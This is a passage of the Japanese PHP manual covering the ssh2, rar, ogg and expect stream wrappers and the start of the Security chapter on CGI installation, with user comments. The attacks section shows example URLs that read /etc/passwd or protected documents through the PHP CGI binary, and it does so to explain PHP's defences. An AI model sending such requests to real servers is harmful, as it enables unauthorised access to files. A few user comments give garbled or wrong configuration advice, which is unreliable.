password | パスワード認証に使用するパスワード |
pubkey_file | 認証に使用する公開鍵ファイル |
privkey_file | 認証に使用する秘密鍵ファイル |
env | 設定する環境変数の連想配列 |
term | pty を割り当てる際の端末エミュレート方式 |
term_width | pty を割り当てる際の端末の幅 |
term_height | pty を割り当てる際の端末の高さ |
term_units | term_width および term_height の単位 | SSH2_TERM_UNIT_CHARS

例

例1 アクティブな接続からストリームをオープンする

<?php
$session = ssh2_connect('example.com', 22);
ssh2_auth_pubkey_file($session, 'username', '/home/username/.ssh/id_rsa.pub',
                                            '/home/username/.ssh/id_rsa', 'secret');
$stream = fopen("ssh2.tunnel://$session/remote.example.com:1234", 'r');
?>

例2 $session を有効にしておかないといけない!

ssh2.*://$session ラッパーを使うには、 リソース変数 $session をキープしておかないといけません。 次のコードは、期待通りには動きません。

<?php
$session = ssh2_connect('example.com', 22);
ssh2_auth_pubkey_file($session, 'username', '/home/username/.ssh/id_rsa.pub',
                                            '/home/username/.ssh/id_rsa', 'secret');
$connection_string = "ssh2.sftp://$session/";
unset($session);
$stream = fopen($connection_string . "path/to/file", 'r');
?>

この例では、unset() のところでセッションを閉じてしまいます。 なぜなら、$connection_string が持つのが $session への参照ではなく、単にそれを文字列にキャストしたものだからです。 これは、unset() が暗黙のうちに呼ばれた場合にも起こりえます (関数などの) スコープを抜けるときに発生する可能性があります。

User Contributed Notes

guilhem at no dot spam dot answeb dot net 09-Nov-2017 03:39
Please beware of a PHP bug, noted by thomas at gielfeldt dot dk, that you must intval() the connection variable before putting it in the connection string :

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);
// See: https://bugs.php.net/bug.php?id=73597
$stream = fopen("ssh2.sftp://" . intval($sftp) . "/path/to/file", 'r');
?>
thomas at gielfeldt dot dk 25-Mar-2017 11:32
<?php
// Connect with public key.
$session = ssh2_connect('example.com', 22);
$result = ssh2_auth_pubkey_file($session, 'remote-username', '/home/local-username/.ssh/id_rsa.pub',
                                                             '/home/local-username/.ssh/id_rsa',
                                                             'secret');
// Setup sftp stream wrapper
$sftp = ssh2_sftp($session);
// See: https://bugs.php.net/bug.php?id=73597
$connection_string = 'ssh2.sftp://' . intval($sftp);

// List files in remote homedir.
$i = new \RecursiveDirectoryIterator("$connection_string/home/remote-username");
$r = new \RecursiveIteratorIterator($i);
foreach ($r as $f) {
    print $f->getPathname() . "\n";
}
?>
exptom 30-Jun-2013 09:37
The "password" context option can also be used to provide the passphrase for the keyfile supplied by "privkey_file" and "pubkey_file".

Note this bug: https://bugs.php.net/bug.php?id=58573
Encrypted keys may not work unless you build libssh2 against openssl. (It only worked for me on Debian Wheezy once I recompiled the library).
bluej100 at gmail dot com 07-May-2013 10:42
Be aware that opendir is currently broken on sftp root directories, but you can work around it by appending a dot. See https://bugs.php.net/bug.php?id=64169 and http://stackoverflow.com/a/16238476/69173.


RAR

  • ≪ ssh2://
  • ogg:// ≫
  • PHP Manual
  • サポートするプロトコル/ラッパー
  • RAR

rar://

rar:// — RAR

説明

このラッパーが受け取るのは、RAR アーカイブへの URL エンコードされたパス (絶対パスあるいは相対パス)、そしてオプションでアスタリスク (*)、番号記号 (#)、 アーカイブ内のエントリ名です。エントリ名を指定する場合は番号記号が必須となります。 エントリ名の先頭のスラッシュは必須ではありません。

このラッパーは、ファイルだけでなくディレクトリも開くことができます。 ディレクトリを開く際にアスタリスクを使うと、 返されるディレクトリエントリ名はエンコードされていない状態となります。 アスタリスクを指定しなかった場合は URL エンコードしたものを返します。 これは、RecursiveDirectoryIterator などの組み込み機能で このラッパーをファイル名の代わりに正しく使えるようにするためです。

番号記号とエントリ名の部分が含まれていない場合は、アーカイブのルートを表示します。 これは通常のディレクトリとは異なり、 返されるストリームには更新時刻などの情報が含まれません。 ルートディレクトリは、アーカイブの個別のエントリとして存在するわけではないからです。 このラッパーを RecursiveDirectoryIterator で使う場合、 ルートにアクセスするには URL に番号記号を含めなければなりません。 そうすれば、子要素の URL も正しく作られます。

注意: このラッパーはデフォルトでは有効になっていません
rar:// ラッパーを使用するには、 » PECL から » rar 拡張モジュールを インストールする必要があります。

rar:// は、PECL rar 3.0.0 以降で使用可能です。

利用法

  • rar://<url encoded archive name>[*][#[<url encoded entry name>]]

オプション

ラッパーの概要
属性 | サポートの有無
allow_url_fopen で制約される | No
allow_url_include で制約される | No
読み込み許可 | Yes
書き込み許可 | No
追加許可 | No
同時読み書き許可 | No
stat() のサポート | Yes
unlink() のサポート | No
rename() のサポート | No
mkdir() のサポート | No
rmdir() のサポート | No

コンテキストオプション
名前 | 使用法 | デフォルト
open_password | アーカイブのヘッダを暗号化するときに使うパスワード。 WinRAR では、ヘッダの暗号が設定されている場合はすべてのファイルを同じパスワードで暗号化します。 そのため、ヘッダが暗号化されているアーカイブでは file_password は無視されます。 |
file_password | ファイルを暗号化するときに使うパスワード。 ヘッダが暗号化されている場合はこの設定は無視され、かわりに open_password の値を使います。 ふたつのオプションがある理由は、 ヘッダとファイルを別々のパスワードで暗号化する可能性に対応するためです。 アーカイブのヘッダが暗号化されていない場合は open_password は無視され、 このオプションを使わなければならないことに注意しましょう。 |
volume_callback | 存在しないボリュームのパスを決めるために使うコールバック。詳細は RarArchive::open() を参照ください。 |

例

例1 RAR アーカイブの走査

<?php

class MyRecDirIt extends RecursiveDirectoryIterator {
    function current() {
        return rawurldecode($this->getSubPathName()) .
            (is_dir(parent::current())?" [DIR]":"");
    }
}

$f = "rar://" . rawurlencode(dirname(__FILE__)) .
    DIRECTORY_SEPARATOR . 'dirs_and_extra_headers.rar#';

$it = new RecursiveTreeIterator(new MyRecDirIt($f));

foreach ($it as $s) {
    echo $s, "\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

|-allow_everyone_ni [DIR]
|-file1.txt
|-file2_?.txt
|-with_streams.txt
\-? [DIR]
  |-?\%2Fempty%2E [DIR]
  | \-?\%2Fempty%2E\file7.txt
  |-?\empty [DIR]
  |-?\file3.txt
  |-?\file4_?.txt
  \-?\?_2 [DIR]
    |-?\?_2\file5.txt
    \-?\?_2\file6_?.txt

例2 暗号化されたファイルのオープン (ヘッダの暗号化)

<?php
$stream = fopen("rar://" .
    rawurlencode(dirname(__FILE__)) . DIRECTORY_SEPARATOR .
    'encrypted_headers.rar' . '#encfile1.txt', "r", false,
    stream_context_create(
        array(
            'rar' =>
                array(
                    'open_password' => 'samplepassword'
                )
            )
        )
    );
var_dump(stream_get_contents($stream));
/* 作成日や最終更新日は WinRAR では選択式になっています。
 * そのため、多くのファイルには含まれていません */
var_dump(fstat($stream));
?>

上の例の出力は、 たとえば以下のようになります。

string(26) "Encrypted file 1 contents."
Array
(
    [0] => 0
    [1] => 0
    [2] => 33206
    [3] => 1
    [4] => 0
    [5] => 0
    [6] => 0
    [7] => 26
    [8] => 0
    [9] => 1259550052
    [10] => 0
    [11] => -1
    [12] => -1
    [dev] => 0
    [ino] => 0
    [mode] => 33206
    [nlink] => 1
    [uid] => 0
    [gid] => 0
    [rdev] => 0
    [size] => 26
    [atime] => 0
    [mtime] => 1259550052
    [ctime] => 0
    [blksize] => -1
    [blocks] => -1
)

User Contributed Notes

There are no user contributed notes for this page.


オーディオストリーム

  • ≪ rar://
  • expect:// ≫
  • PHP Manual
  • サポートするプロトコル/ラッパー
  • オーディオストリーム

ogg://

ogg:// — オーディオストリーム

説明

ogg:// ラッパー経由で読み込みモードでオープンされた ファイルは、OGG/Vorbis コーデックでエンコードされた圧縮音声ファイルとして 扱われます。同様に、ogg:// ラッパー経由で書き込みモード あるいは追記モードでオープンされたファイルは、圧縮音声データとして 書き込まれます。読み込みモードでオープンした OGG/Vorbis ファイルに対して stream_get_meta_data() を適用した場合、以下のような さまざまな情報を返します。 vendor タグ、comments、 多くの channels、サンプリングレート rate 、 および以下のパラメータで指定されるエンコーディングレート。 bitrate_lower、bitrate_upper、 bitrate_nominal、bitrate_window

ogg:// (PECL)

注意: このラッパーはデフォルトでは有効になっていません
ogg:// ラッパーを使用するには、 » PECL から » OGG/Vorbis 拡張モジュールを インストールする必要があります。

利用法

  • ogg://soundfile.ogg
  • ogg:///path/to/soundfile.ogg
  • ogg://http://www.example.com/path/to/soundstream.ogg

オプション

ラッパーの概要
属性 | サポートの有無
allow_url_fopen で制約される | No
読み込み許可 | Yes
書き込み許可 | Yes
追加許可 | Yes
同時読み書き許可 | No
stat() のサポート | No
unlink() のサポート | No
rename() のサポート | No
mkdir() のサポート | No
rmdir() のサポート | No

コンテキストオプション
名前 | 使用法 | デフォルト | モード
pcm_mode | 読み込みの際に適用する PCM エンコーディング。以下のうちのひとつ。 OGGVORBIS_PCM_U8、OGGVORBIS_PCM_S8、 OGGVORBIS_PCM_U16_BE、OGGVORBIS_PCM_S16_BE、 OGGVORBIS_PCM_U16_LE、および OGGVORBIS_PCM_S16_LE （8 ビットか 16 ビットか、符号付きか符号なしか、ビッグエンディアンかリトルエンディアンか）。 | OGGVORBIS_PCM_S16_LE | Read
rate | 入力データのサンプリングレート。Hz 単位。 | 44100 | Write/Append
bitrate | 整数値の場合、エンコードの際の固定ビットレート（16000 から 131072）。 浮動小数点値の場合、使用する可変ビットレート（-1.0 から 1.0）。 | 128000 | Write/Append
channels | エンコードする音声チャネル数。一般には 1（モノラル）あるいは 2（ステレオ）。 最大 16 まで。 | 2 | Write/Append
comments | エンコード時にトラックヘッダに入れる文字列の配列。 |  | Write/Append

例

User Contributed Notes

martin dot leese at stanfordalumni dot org 18-Feb-2008 10:04
Note that although "ogg:" is the wrapper name, the stream is restricted to Ogg files containing a single stream encoded using the Vorbis audio codec.  An Ogg container can, in fact, contain multiple streams: audio, video, anything.  (Also, the audio streams in an Ogg contaner can use codecs such as FLAC and OggPCM.)  The wrapper name is therefore misleading.


対話的プロセスストリーム

  • ≪ ogg://
  • セキュリティ ≫
  • PHP Manual
  • サポートするプロトコル/ラッパー
  • 対話的プロセスストリーム

expect://

expect:// — 対話的プロセスストリーム

説明

expect:// ラッパーでオープンしたストリームを使用すると、 プロセスの標準入力・標準出力・標準エラー出力への PTY 経由でのアクセスが 可能となります。

注意: このラッパーはデフォルトでは有効となっていません。
expect:// ラッパーを使用するには、 » PECL にある » Expect 拡張モジュールを インストールする必要があります。

expect:// (PECL)

利用法

  • expect://command

オプション

ラッパーの概要
属性 | サポートの有無
allow_url_fopen で制約される | No
読み込み許可 | Yes
書き込み許可 | Yes
追加許可 | Yes
同時読み書き許可 | No
stat() のサポート | No
unlink() のサポート | No
rename() のサポート | No
mkdir() のサポート | No
rmdir() のサポート | No

例

User Contributed Notes

There are no user contributed notes for this page.


セキュリティ

  • はじめに
  • 一般的な考慮事項
  • CGI バイナリとしてインストール
    • 受ける可能性がある攻撃
    • ケース 1: 配布制限がないファイルのみを配布
    • ケース 2: cgi.force_redirect を使用
    • ケース 3: doc_root または user_dir を設定
    • ケース 4: Webツリーの外にPHPパーサを置く
  • Apache モジュールとしてインストール
  • セッションのセキュリティ
  • ファイルシステムのセキュリティ
    • Null バイト関連の問題
  • データベースのセキュリティ
    • データベースのデザイン
    • データベースへの接続
    • ストレージの暗号化
    • SQLインジェクション
  • エラーのレポート
  • ユーザーが投稿したデータ
  • PHPの隠蔽
  • 最新版を維持する

User Contributed Notes

inland14 at live dot com 13-Jan-2019 04:06
Good Dharma tokens which are basically in the feed somewhere that allow users that are not reprogramming and injecting to get into the site.

Change this POST AJAX call URL every couple minutes to exclude users who didn't follow your portal. You can combine this with where they came from. Just in the case of advertised click-thrus.

You can make a perfectly good token from time() and some measure away from it every ~5th minute(?). Balance the load by free token grasping at login, or even if they just got to the site. And don't let them into the feed past the designated 5th minute, or algorithmic sum for your timed change of the guard, without knowledge of the token. This can be caught up by passing variables across pages. Directly injecting the POST token with a curl to your own site. And combining that like a session ID.
Ray.Paseur sometimes uses Gmail 13-Oct-2016 02:51
Password hashing should be linked here:
http://php.net/manual/en/faq.passwords.php
Anonymous 13-Jul-2015 09:41
chroot is NOT a security feature. Don't use it as one. Please read the man pages of chroot to understand what its really used for
moehbass at gmail dot com 11-Jul-2007 10:34
First, q much simpler solution to preventing people from viewing code inside of an includable file would be to give include file an extension that ends with php (e.g. myFile.inc.php).

Secondly, and more importantly, why on earth would you want to put program-level code in an include file? By that I mean something life this:

myFile.inc.php
--------------------------------
...
if ($var = 'whatever')
    // connect to the database
else
    // do something else.
--------------------------------

An include file should not contain logic! Rather, it is an encapsulated unit of code that should not do anything on its own unless asked to. To implement this ideology, consider including function definitions only in your include files, then once you include them in the script, call such functions from within your program (i.e. the script that included the inc file). If you don't know the names of the functions ab initio, use call_user_func() or call_user_func_array() and pass it the name of the function that's dependent on context.

If you MUST put program-level logic in your include files, consider simply putting it in the program!

Why should you consider this? How about variable name clashes for a starter! You can think of more, I am shure!

Hope that helped
dangan at blackjaguargaming dot net 01-Feb-2007 06:41
I'd recommend a 404 over a 403 considering a 403 proves there is something worth hacking into.

index.php:
<?php
define('isdoc',1);
include('includes/include.sqlfunctions.php');
// Rest of code for index.php
?>

include.sqlfunctions.php (or other include file):
<?php
if(isdoc !== 1) // Not identical to 1
{
    header('HTTP/1.1 404 Not Found');
    echo "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n<html><head>\n<title>404 Not Found</title>\n</head>";
    echo "<body>\n<h1>Not Found</h1>\n<p>The requested URL ".$_SERVER['REQUEST_URI']." was not found on this server.</p>\n";
    echo "<hr>\n".$_SERVER['SERVER_SIGNATURE']."\n</body></html>\n";
    // Echo output similar to Apache's default 404 (if thats what you're using)
    exit;
}
// Rest of code for this include
?>
k 25-Oct-2006 04:06
How about not putting the php code in the web-root at all...?

You can create a public directory with the css, html, etc and index.php there. Then use the include_path setting to point to the actual php code, eg...

webstuff
  phpcode
  public
    images
    css
    index.php

then set the include path to "../phpcode" and, as php is executed from the directory of the script, all should be well.

I'd also call the main index "main.page", or something else, instead of "index.php" and change the web server default index page. That way you cant get hit by things trawlling the web for index pages.
steffen at morkland dot com 20-Sep-2006 06:38
In Reply to djjokla and others

Consider placing all incude files as mentioned before in a seperate folder containing a .htaccess containing a Order Deny,Allow

the create a index file, which is intended to handle ALL request made to you php application, then call it with index.php?view=index

the index file could look a bit like this:

<?php
switch($_GET['view']){
    case 'index':
        include('libs/index.php');
        break;
    default:
        include('libs/404.php');
        break;
}
?>

this could be an array or something even more creative. it actually does'nt matter how you do it... running all pages through one central script has one big advantage.... CONTROL.
at any givin time, you can easily implement access control to functions without forgetting crucial files.
djjokla AT gmail dot com 21-Apr-2006 08:22
If a single file has to be included than I use the following

index.php ( where the file is gonna be included )
___________
<?php
    define('thefooter', TRUE);
    include('folder/footer.inc.php');
?>

and the footer file (for example) looks this way then

footer.inc.php ( the file to be inluded )
___________
<?php
    defined('thefooter') or die('Not with me my friend');
    echo('Copyright to me in the year 2000');
?>

So when someone tries to access the footer.php file directly he/she/it will get the "Not with me my friend" messages written on the screen. An alternative option is to redirect the person who wants to access the file directly to a different location, so instead of the above code you would have to write the following in the footer.inc.php file.

<?php
    defined('thefooter') or header('Location: http://www.location.com');
    echo('Copyright to me in the year 2000');
?>

In normal case a redirection to an external site would be annoying to the visitor, but since this visitor is more interested in hacking the site than in reading the content, I think it's only fair to create such an redirection. We dont' realy want someome like this on our sites.

For the file protection I use .htaccess in which I say to protect the file itself and every .inc file

<Files ~ "^.*\.([Hh][Tt]|[Ii][Nn][Cc])">
Order allow,deny
Deny from all
Satisfy All
</Files>

The .htaccess file should result an Error 403 if someone tries to access the files directly. If for some reason this shouldn't work, then the "Not with me my friend" text apears or a redirection (depending what is used)

In my eyes this looks o.k. and safe.
Thomas "Balu" Walter 16-Oct-2005 01:24
Since many users can not modify apache configurations or use htaccess files, the best way to avoid unwanted access to include files would be a line at the beginning of the include-file:

<?php if (!defined('APPLICATION')) exit; ?>

And in all files that are allowed to be called externally:

<?php define('APPLICATION', true); ?>

     Balu
nick dot hristov at gmail dot com 02-Sep-2004 08:21
A correction to previous post by Dave Mink.

<Files ~ "\.inc$">
   Order allow,deny
   Deny from all
   Satisfy All
</Files>

Will not stop something like
http://www.yourserver.com/includefile.inc?pointlessvar=blahblah

Here is something more sophisticated for this task:

<Location ~ "/[^ ](?=\.inc(\?[^ ]*)?)/">
    Options None
    Order Allow, Deny
    Deny from All
    AllowOverride None
    Satisfy All
</Location>

Also, consider placing in your httpd.conf

<Location ~ "/[^ ](?=\.phps(\?[^ ]*)?)/">
    Options None
    Order Allow, Deny
    Deny from All
    AllowOverride None
    Satisfy All
</Location>
ocrow at simplexity dot net 02-Jul-2003 05:16
If your PHP pages include() or require() files that live within the web server document root, for example library files in the same directory as the PHP pages, you must account for the possibility that attackers may call those library files directly.

Any program level code in the library files (ie code not part of function definitions) will be directly executable by the caller outside of the scope of the intended calling sequence.  An attacker may be able to leverage this ability to cause unintended effects.

The most robust way to guard against this possibility is to prevent your webserver from calling the library scripts directly, either by moving them out of the document root, or by putting them in a folder configured to refuse web server access. With Apache for example, create a .htaccess file in the library script folder with these directives:

Order Allow,Deny
Deny from any
annonymous at domain dot com 27-Jun-2003 06:08
best bet is to build php as cgi, run under suexec, with chroot jailed users. Not the best, but fairly unobtrusive, provides several levels of checkpoints, and has only the detriment of being, well, kinda slow. 8)
ManifoldNick at columbus dot rr dot com 29-Apr-2003 10:30
Remember that security risks often don't involve months of prep work or backdoors or whatever else you saw on Swordfish ;) In fact one of the bigges newbie mistakes is not removing "<" from user input (especially when using message boards) so in theory a user could secerely mess up a page or even have your server run php scripts which would allow them to wreak havoc on your site.
25-Feb-2003 04:00
For real security you should consider providing chrooted jail's for your users.


はじめに

PHP は強力な言語そしてインタプリタであり、モジュールとして Web サー バーに組み込んだ場合でも、独立した CGI バイナリ として実行される場合でも、ファイルをアクセスしたり、コマンドを実行 したり、サーバーへのネットワーク接続を開くことができます。デフォル トでは、これらの機能を実行した場合、Webサーバー上でセキュリティ上の 問題を生じる可能性があります。PHP は、特に CGI プログラムを書く場合、 Perl や C より安全な言語となるように設計されています。コンパイル時 または実行時の設定オプションを正しく選び、適切なコードを書くことに より、必要な自由度とセキュリティの組み合わせを確実に提供することが できます。

PHP の使用法に多くの異なった手段があるように、PHP の動作を制御する 多くの設定オプションがあります。オプションの選択肢が広いため、PHP を様々な用途に使用することができます。しかし、このことは、これらの オプションとサーバー設定の組み合わせによっては、安全でない設定とな ることを意味します。

PHPの設定の自由度はそのコードの柔軟さにほぼ匹敵します。PHPは、シェ ルユーザーコマンドを全て実行可能な完全なサーバーアプリケーションや 厳しく制御された環境で低リスクの簡単なサーバーサイドインクルードを 使用できるようなアプリケーションを構築する場合に使用することが可能 です。そうした環境の構築方法、セキュリティのレベルはPHPの開発者に大 きく依存しています。

本章は、安全に使用可能な異なった設定と条件の組み合わせについての説 明から始めます。続いて、複数のセキュリティレベルのコーディングにお ける複数の考慮事項について説明し、最後にいくつかの一般的なセキュリ ティ上のアドバイスを行います。

User Contributed Notes

There are no user contributed notes for this page.


一般的な考慮事項

完全に安全なシステムは理想の産物でしかないため、セキュリティ業界で しばしば使用される手法は、リスクと利便性のバランスのとれた手法です。 変数がユーザーから投稿される度に(網膜スキャンと指紋のような)2種類の 生体認証が必要だとしたら、極端に高いレベルの説明義務を生じます。ま た、かなり複雑なフォームを埋めるために30分もかかるとすれば、ユーザー がセキュリティをバイパスする手段を探す気分にさせる傾向があります。

最善のセキュリティは、通常、ユーザーによる業務の達成を防たげずに要求 を十分に達成できる程度にさしでがましくないものです。むしろ、いくつ かのセキュリティ攻撃は、単純にこの種の多げさに構築され、時間を浪費 しがちなセキュリティ機構を狙うものです。

記憶するに値する言葉として次のようなものがあります。「システムは鎖 の最も弱い輪と同程度に優れている」全てのトランザクションが時間、場 所、トランザクションの型等に基づき大量に記録されているが、ユーザーは 一つのクッキーのみにより認証されている場合、ユーザーとそのトランザク ションログの結び付きの確実性はかなり弱くなります。

テストの際に、最も簡単なページに関してでさえ、全ての可能性をテスト することは不可能であるということを頭に入れておいてください。期待する 入力は、不機嫌な社員、経験のあるクラッカー、キーボードの上を歩く家 の猫による入力とは全く無関係でしょう。これが、想定外のデータが入力 される可能性がある場所を見分けるために論理的な視点からコードを見て、 その後、修正、減少、または詳細に調べるというのが、最善であるという 理由です。

インターネットにはあなたのコードを壊したり、システムを破壊したり、 不適切な内容を投稿したり、その他あなたの一日を不快にするようなこと により自分の名を馳せたいと思う人がたくさんいます。サイトの規模の大 小によらず、単にオンラインであり、接続できるサーバーを有しているだけ で攻撃目標となりえます。多くのクラック用プログラムはサイトの大きさ を考慮せず、犠牲者を探しつつ大きなIPブロックで網を張っています。 その犠牲者の一人にならないようにしてください。

User Contributed Notes

There are no user contributed notes for this page.


CGI バイナリとしてインストール

目次

  • 受ける可能性がある攻撃
  • ケース 1: 配布制限がないファイルのみを配布
  • ケース 2: cgi.force_redirect を使用
  • ケース 3: doc_root または user_dir を設定
  • ケース 4: Webツリーの外にPHPパーサを置く

User Contributed Notes

Anonymous 03-May-2012 09:06
IMPORTANT INFORMATION

There was a serious vulnerability in certain CGI-based PHP setups that has gone unnoticed for at least 8 years.

For PHP this means that a request containing ?-s may dump the PHP source code for the page.

Make sure to update to current versions and/or use an .htaccess patch, both available here:

PHP 5.3.12 and PHP 5.4.2 Released:
http://www.php.net/archive/2012.php#id2012-05-03-1
Craig Buchek 12-Aug-2007 09:33
NOTE: Running PHP as a CGI program will change the value of $_SERVER['SCRIPT_NAME']. When running via the (normal) mod_PHP mechanism, it will be set to the name of (actually, path to) the PHP script that's running. When running via CGI, it will instead point to the path of the CGI binary.
phpD0TnetATmoritzHYPHONnaumannD0Tcom 09-Jan-2006 09:56
One of the most common reasons why you get 'No input file specified' (AKA 'the second most useful error message in the world') is that you have set 'doc_root' (in php.ini) to a value which is to the 'DocumentRoot' defined in the apache configuration.

This is the same for other webservers. For example, on lighttpd, make sure the 'server.document-root' value is the same as what is defined as 'doc_root' in php.ini.
phil dot ross at gmail dot com 22-Mar-2005 03:56
In response to grange at club-internet dot fr:

There are a couple of errors in the mod_rewrite directives given. I found that the following works:

RewriteEngine on
RewriteCond %{ENV:REDIRECT_STATUS} !200
RewriteRule ^cgi-bin/php.cgi - [F]

I removed the = from the RewriteCond and took out the leading / from the RewriteRule.
kschroeder at mirageworks dot com 11-Feb-2005 07:23
I have noticed that some people have noted that running PHP as a CGI program can run slowly compared with a compiled in module.  Some have noted that they want to use FastCGI but are hesitant.  I found that using the Apache 2's CGID module was a great way to speed up performance almost to the same level as an "so"-installed PHP module but you get the added benefit of running each virtual host under it's own user and group.

In my testing I got 44 pages per second using PHP as a module and I got roughly the same performance (within 5%) running PHP as a CGI program through CGID.

CGID is also really easy to set up.  Just add --enable-cgid to your Apache configure command and you're good to go.  Just set up PHP as a CGI normally.

I'm sure that there's extra RAM used for this method but RAM is as cheap as borscht anyways so it shouldn't be a major factor when trying to speed up PHP CGI.
martelli at geoserve dot com dot br 12-Jul-2004 12:25
PHP CGI with VirtualHosts.

This is what I found out while trying to get php to work as CGI with Apache VirtualHosts.

By enabling 'force-cgiredirects', you *must*:
1) set 'cgi.fix_pathinfo=1' in php.ini
2) leave doc_root commented out (php.ini also)

If you miss item 1, the apache logs will show 'unexpected T_STRING' in the php binary.
If you miss item 2, you'll only see 'No input file specified.', instead of the expected output.

You can then turn on the php support for a particular vhost by defining:

Action php-script /cgi-bin/php

inside the corresponding <VirtualHost> directive.
13-Jun-2004 08:26
PHP works with Apache and suEXEC like this:
(Assuming that suEXEC ist allready installed and working)

Install PHP as CGI binary (e.g. in /usr/local/bin/php)
(compile with --enable-force-cgi-redirect)

Create a Link inside cgi-bin directory to make php-cgi accessable:
cd /usr/local/apache/cgi-bin
ln /usr/local/bin/php php

Edit your httpd.conf file:
 AddHandler php4-script .php
 Action php4-script /cgi-bin/php

 <VirtualHost 123.456.789.0:80>
    User exampleuser
    Group examplegroup
     ...

 </VirtualHost>

Restart Apache

PHP-scripts are now called under the user-id of exampleuser and group-id of examplegroup.
geeky at geeky dot de 02-Sep-2003 07:32
a replacement for suexec is suphp (http://www.suphp.org).

"suPHP is a tool for executing PHP scripts with the permissions of their owners. It consists of an Apache module (mod_suphp) and a setuid root binary (suphp) that is called by the Apache module to change the uid of the process executing the PHP interpreter." (from the website)
pookey at pookey dot co dot uk 21-Mar-2003 10:29
I have setup a guide to installing PHP with SuEXEC in such a way that shebangs (!#/usr/bin/php4) are not needed.  Hope this is of some help to you.

http://www.pookey.co.uk/php-security.xml
goran_johansson at yahoo dot com 17-Feb-2003 06:53
A tip for Windows-users

Just a tip for you so do not do the same mistake as I did:
I just found out that PHP first seem to look in the php-directory for php.ini, and if that file does not exist, it looks in the Windows directory.
I renamed the file php.ini-dist to php.ini and copied it to my Windows directory, and then I modified the infamous "cgi.force_redirect = 0" in the php.ini file located in the Windows directory, to make it work. But it did not because it reads from the "original" php.ini - So when I deleted this php.ini things started working again
matled at gmx dot net 28-Sep-2002 03:53
If you are using php per cgi and have additionally mod_gzip enabled you have to disable mod_gzip for the php cgi binary to use --enable-cgi-redirect. mod_gzip sets the REDIRECT_STATUS always to 200 which makes it impossible for the php binary to know when it was called directly or when it was called by a redirect.
ruben at puettmann dot net 20-Sep-2002 06:29
To use php-cgi with suexec it will be nice that each virtual host has ist's own php.ini. This goes with :

SetEnv PHPRC /var/www/server/www.test.com/conf

But suexec will kill this enviromet cause It don't know that it is "save" so you must edit the suexec.c for compiling ....
yohgaki at hotmail dot com 12-Apr-2001 11:44
If you care about security, you are better of setting

register_globals = off
enable_track_vars = on (Always on from PHP4.0.3)

Default setting for variable order is
EGPCS
(ENV VARS/GET VARS/POST VARS/COOKIE VARS/SESSION VARS)

Imagine if you are rely on ENV VAR but it was orver written with GET/POST/COOKIE vars?
michel dot jansens at ulb dot ac dot be 09-Apr-2001 10:21
If you want to use suexec and reference your php interpreter via #!/usr/local/bin/php,  be shure to compile php WITHOUT  --enable-force-cgi-redirect.

This might seems obvious, but I spent 2 days on this :-(
steeven at kali dot com dot cn 18-Jan-2001 01:54
suEXEC require CGI mode, and slow down the scripts. I did them like this:
1. Install php as DSO mode. (for max speed and low secure)
2. Make a seperate CGI install with --enable-force-cgi-redirect, place php to cgi-bin
3 For more secure with suEXEC, choose one of the following method:
3-1: Place a .htaccess file containing this to override main config:
AddType application/x-httpd-wphp php
Action application/x-httpd-wphp /cgi-bin/php
  All php files in subdirectory will be protected.
3-2: add following in httpd.conf:
AddType application/x-httpd-wphp sphp
Action application/x-httpd-wphp /cgi-bin/php
  then each sensitive php file should be renamed to .sphp

Add "php_value doc_root /home/user/html_docs" to each virtual host directive in httpd.conf
kstone at trivergent dot net 04-May-2000 02:01
Better yet, use binfmt_misc:  (linux only)

echo :php3:E::php3::/usr/bin/php: > /proc/sys/fs/binfmt_misc/register

Eliminates the need for the #! at the top of the file.


受ける可能性がある攻撃

PHP を CGI バイナリとして使用するのは、PHP を モジュールとして(Apache のような)サーバーソフトウエアに組み込み たくない何らかの理由がある場合や安全な chroot と setuid 環境をス クリプトに提供する他の CGI ラッパーと組み合わせて PHP を使用する 場合の設定オプションです。セットアップ時には、通常、PHP 実行バイ ナリを Web サーバーの cgi-bin ディレクトリにインストールします。 CERT 勧告 » CA-96.11は、いかなるイ ンタプリタを cgi-bin に置くことにも反対しています。 PHP バイナリをスタンドアロンのインタプリタとして使用することが できる場合でも、PHP は、セットアップにより生じる可能性がある 次のような攻撃を防ぐように設計されています。

  • システムファイルへのアクセス: http://my.host/cgi-bin/php?/etc/passwd URL において疑問符 (?) の後のクエリー情報は、CGI インターフェー スにより、インタプリタにコマンドライン引数として渡されます。通 常、インタプリタは、コマンドライン上の最初の引数に指定されたファ イルを開き、実行します。 CGI バイナリとして実行された場合、PHP は、コマンドライン引数の 解釈を拒否します。
  • サーバー上の Web ドキュメントへのアクセス: http://my.host/cgi-bin/php/secret/doc.html URL の PHP バイナリ名の後のパス情報の部分、つまり/secret/doc.html は、 CGI プログラムによりオープンされて実行される ファイルの名前を指定するために従来より使用されています。 http://my.host/secret/script.php のようなドキュメントへの要求を PHP インタプリタにリダイレクト するために、通常、何らかの Web サーバー設定用命令(Apache では Action) が使用されます。この設定により、Web サーバーは、まずディレクトリ /secret へのアクセス権をチェックし、 リダイレクト要求 http://my.host/cgi-bin/php/secret/script.php を生成します。残念なことに、リクエストが最初からこの形式で与え られた場合、Web サーバーによるアクセスチェックは、 /secret/script.php ファイル ではなく、/cgi-bin/php ファイル に対して行われます。この手法により、/cgi-bin/php にアクセス可能なユーザーは、 Web サーバー上の全ての保護されたドキュメントにアクセスできてし まいます。 PHP では、サーバードキュメントツリーにアクセス制限付きのディレ クトリがある場合、設定ディレクティブ cgi.force_redirect、 doc_root および user_dir をこの攻撃を防止す るために使用することができます。 これらを組み合わせたいくつか の手法について以下に詳細な説明を示します。

User Contributed Notes

There are no user contributed notes for this page.


ケース 1: 配布制限がないファイルのみを配布

サーバー上にパスワードまたは IP アドレスを元にしたアクセス制限に よる制約を課すコンテンツがない場合、この設定オプションを使用す る必要はありません。使用する Web サーバーがリダイレクトを許可しな い場合やサーバーがリダイレクト要求を安全に処理しつつPHP バイナリ と通信できる手段を有していない場合、オプション --enable-force-cgi-redirectを configure スクリプトに指定することができます。この場合でも、直接 的な方法 http://my.host/cgi-bin/php/dir/script.php でもなくリダイレクション http://my.host/dir/script.phpでもない他の やり方で PHP スクリプトを呼び出せるようになっていないかどうか確認 する必要があります。

リダイレクションは、例えば Apache では命令 AddHandler および Action で設定することができます。(以下を参照してください。)

User Contributed Notes

There are no user contributed notes for this page.


ケース 2: cgi.force_redirect を使用

